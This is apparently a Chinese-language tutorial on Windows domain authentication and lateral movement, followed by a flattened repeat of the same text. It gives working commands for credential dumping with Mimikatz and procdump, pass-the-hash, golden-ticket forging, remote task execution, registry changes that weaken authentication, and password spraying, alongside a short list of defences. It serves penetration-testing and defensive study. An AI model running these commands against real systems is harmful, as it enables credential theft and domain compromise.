域内相关协议与横向方法总结(一)
字数 2034 2025-08-03 16:50:37

域内相关协议与横向移动方法深度解析

Windows认证与加密机制

Windows Hash结构

Windows系统中Hash结构一般为:username:RID:LM-hash:NTLM-hash

  • 自Windows 2000后,LM-hash通常为空(因其易被破解)
  • NTLM密码hash保存在:%SystemRoot%\System32\config\SAM
  • 域环境中用户信息保存在:C:\Windows\NTDS\NTDS.dit

LM-Hash加密

特点

  • 口令不区分大小写
  • 最大长度14字节(不足7字节时后面8字节固定)
  • 使用DES算法(密钥为固定字符串"KGS!@#$%")
  • Windows 7默认禁用

启用方法

reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v lmcompatibilitylevel /t REG_DWORD /d 2 /f

NTLM Hash

获取途径

  • SAM文件
  • NTDS.dit文件
  • 通过Mimikatz读取lsass.exe进程

加密流程

  1. 转换为16进制
  2. Unicode转换
  3. MD4加密

Net-NTLM Hash

网络环境下的NTLM认证中的Hash,分为:

  • Net-NTLM v1 hash
  • Net-NTLM v2 hash

格式

  • v1: username::hostname:LM response:NTLM response:challenge
  • v2: username::domain:challenge:HMAC-MD5:blob

Net-NTLMv1利用

  1. 修改注册表开启v1:
    reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 2 /f
    reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0\ /v NtlmMinClientSec /t REG_DWORD /d 536870912 /f
    reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0\ /v RestrictSendingNTLMTraffic /t REG_DWORD /d 0 /f
    
  2. 控制challenge后通过彩虹表还原NTLM Hash

Windows认证协议

NTLM协议流程

  1. 客户端向服务器发送用户名(明文)
  2. 服务端生成16位challenge并返回
  3. 客户端使用密码hash加密challenge,发送Response
  4. 服务端使用存储的hash加密challenge并比对

域环境差异
服务器会将用户名、加密后的challenge和原始challenge发送给DC验证

Kerberos协议

参与角色

  • 客户端
  • 服务器
  • KDC(密钥分发中心)= DC

KDC组成

  • AD:存储客户端白名单
  • AS:生成TGT的服务
  • TGS:生成服务ticket

认证流程

  1. 客户端认证(AS-REQ/AS-REP)

    • 客户端发送用户标识和预认证数据(Hash加密的时戳)
    • KDC返回:
      • Client/TGS会话密钥(用客户端NTLM Hash加密)
      • TGT(用TGS密钥加密)
  2. 服务授权(Client-TGS)

    • 客户端发送TGT和认证符(用Client/TGS会话密钥加密)
    • TGS返回:
      • Client-Server-Ticket(用服务器密钥加密)
      • Client/SS会话密钥(用Client/TGS密钥加密)
  3. 服务请求

    • 客户端发送Client-Server-Ticket和新认证符
    • 服务器验证后提供服务

横向移动技术

Pass The Hash (PTH)

使用条件

  • 知道目标账号的密码hash
  • 目标账号是管理员组成员
  • 注册表键值设置正确:
    • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken值为0
    • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy值为1

Mimikatz实现

privilege::debug
sekurlsa::pth /user:xxx /domain:xxx /ntlm:xxxx

Impacket工具包

  • psexec:
    psexec.exe -hashes LMhash:NTLMhash domain/username@x.x.x.x
    
  • wmiexec:
    wmiexec.exe -hashes f67ce45ac631223dc18778085fe1d9df:161cff384477fe59635db81874498a24 de1ay/pc32@10.10.10.12
    

黄金票据攻击

要求

  • 域名
  • 域SID值
  • krbtgt账户Hash
  • 伪造用户名

特点

  • KDC不检查TGT中的用户
  • 票据有效期以票据为准
  • 不需要加入域

伪造步骤

  1. 获取krbtgt hash:
    lsadump::dcsync /domain:de1ay.com /user:krbtgt
    
  2. 生成黄金票据:
    kerberos::golden /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /krbtgt:xxxx /user:administrator /ticket:gold.kirbi
    
  3. 注入票据:
    kerberos::ptt gold.kirbi
    

IPC$利用

基本操作

  1. 建立连接:
    net use \\10.10.10.12\ipc$ /user:administrator "password"
    
  2. 文件操作:
    dir \\192.168.242.134\c$
    copy mimikatz.exe \\x.x.x.x\c$\temp\mimikatz.exe
    
  3. 计划任务:
    schtasks /create /tn "test" /tr calc.exe /sc once /st 16:32 /S 193.168.1.12 /RU System /u administrator /p "password"
    schtasks /run /tn "test" /S 192.168.242.134 /u administrator /p "password"
    

RDP横向移动

受限管理员模式

  1. 开启:
    REG ADD HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f
    
  2. 使用:
    xfreerdp /u:administrator /pth:161cff084477fe596a5db81874498a24 /v:192.168.62.134 /cert-ignore
    

密码提取技术

Wdigest Auth

启用方法

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

Mimikatz使用

privilege::debug
sekurlsa::logonpasswords

SAM表提取

  1. 离线获取:
    reg save HKLM\SYSTEM system
    reg save HKLM\SAM sam
    
  2. 读取:
    lsadump::sam /sam:sam /system:system
    

Procdump转储

  1. 转储lsass进程:
    procdump64.exe -accepteula -ma lsass.exe lsass.dmp
    
  2. 读取:
    sekurlsa::minidump lsass.dmp
    sekurlsa::logonpasswords
    

防御措施

通用防御

  1. 定期修改krbtgt密码
  2. 限制管理员账户在其他主机上登录
  3. 启用SID筛选防止黄金票据攻击

LSA保护

  1. 启用:
    reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL /t REG_DWORD /d 1
    
  2. 移除Administrators组的Debug权限

NTLM防御

  1. 禁用NTLMv1
  2. 使用Kerberos优先策略
  3. 启用Protected User组强制使用AES加密

自动化工具

用户枚举

  1. kerbrute:
    kerbrute_windows_amd64.exe userenum --dc 10.10.10.10 -d de1ay.com user.txt
    
  2. pyKerbrute:
    python2 EnumADUser.py 10.10.10.10 de1ay.com user.txt tcp
    

密码喷洒

DomainPasswordSpray:

Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password 1qaz@WSX

以上内容涵盖了Windows域内认证协议、横向移动技术和防御措施的全面知识体系,可作为渗透测试和安全防御的参考指南。

域内相关协议与横向移动方法深度解析 Windows认证与加密机制 Windows Hash结构 Windows系统中Hash结构一般为: username:RID:LM-hash:NTLM-hash 自Windows 2000后,LM-hash通常为空(因其易被破解) NTLM密码hash保存在: %SystemRoot%\System32\config\SAM 域环境中用户信息保存在: C:\Windows\NTDS\NTDS.dit LM-Hash加密 特点 : 口令不区分大小写 最大长度14字节(不足7字节时后面8字节固定) 使用DES算法(密钥为固定字符串"KGS !@#$%") Windows 7默认禁用 启用方法 : NTLM Hash 获取途径 : SAM文件 NTDS.dit文件 通过Mimikatz读取lsass.exe进程 加密流程 : 转换为16进制 Unicode转换 MD4加密 Net-NTLM Hash 网络环境下的NTLM认证中的Hash,分为: Net-NTLM v1 hash Net-NTLM v2 hash 格式 : v1: username::hostname:LM response:NTLM response:challenge v2: username::domain:challenge:HMAC-MD5:blob Net-NTLMv1利用 : 修改注册表开启v1: 控制challenge后通过彩虹表还原NTLM Hash Windows认证协议 NTLM协议流程 客户端向服务器发送用户名(明文) 服务端生成16位challenge并返回 客户端使用密码hash加密challenge,发送Response 服务端使用存储的hash加密challenge并比对 域环境差异 : 服务器会将用户名、加密后的challenge和原始challenge发送给DC验证 Kerberos协议 参与角色 : 客户端 服务器 KDC(密钥分发中心)= DC KDC组成 : AD:存储客户端白名单 AS:生成TGT的服务 TGS:生成服务ticket 认证流程 : 客户端认证(AS-REQ/AS-REP) : 客户端发送用户标识和预认证数据(Hash加密的时戳) KDC返回: Client/TGS会话密钥(用客户端NTLM Hash加密) TGT(用TGS密钥加密) 服务授权(Client-TGS) : 客户端发送TGT和认证符(用Client/TGS会话密钥加密) TGS返回: Client-Server-Ticket(用服务器密钥加密) Client/SS会话密钥(用Client/TGS密钥加密) 服务请求 : 客户端发送Client-Server-Ticket和新认证符 服务器验证后提供服务 横向移动技术 Pass The Hash (PTH) 使用条件 : 知道目标账号的密码hash 目标账号是管理员组成员 注册表键值设置正确: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken 值为0 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy 值为1 Mimikatz实现 : Impacket工具包 : psexec: wmiexec: 黄金票据攻击 要求 : 域名 域SID值 krbtgt账户Hash 伪造用户名 特点 : KDC不检查TGT中的用户 票据有效期以票据为准 不需要加入域 伪造步骤 : 获取krbtgt hash: 生成黄金票据: 注入票据: IPC$利用 基本操作 : 建立连接: 文件操作: 计划任务: RDP横向移动 受限管理员模式 : 开启: 使用: 密码提取技术 Wdigest Auth 启用方法 : Mimikatz使用 SAM表提取 离线获取: 读取: Procdump转储 转储lsass进程: 读取: 防御措施 通用防御 定期修改krbtgt密码 限制管理员账户在其他主机上登录 启用SID筛选防止黄金票据攻击 LSA保护 启用: 移除Administrators组的Debug权限 NTLM防御 禁用NTLMv1 使用Kerberos优先策略 启用Protected User组强制使用AES加密 自动化工具 用户枚举 kerbrute: pyKerbrute: 密码喷洒 DomainPasswordSpray: 以上内容涵盖了Windows域内认证协议、横向移动技术和防御措施的全面知识体系,可作为渗透测试和安全防御的参考指南。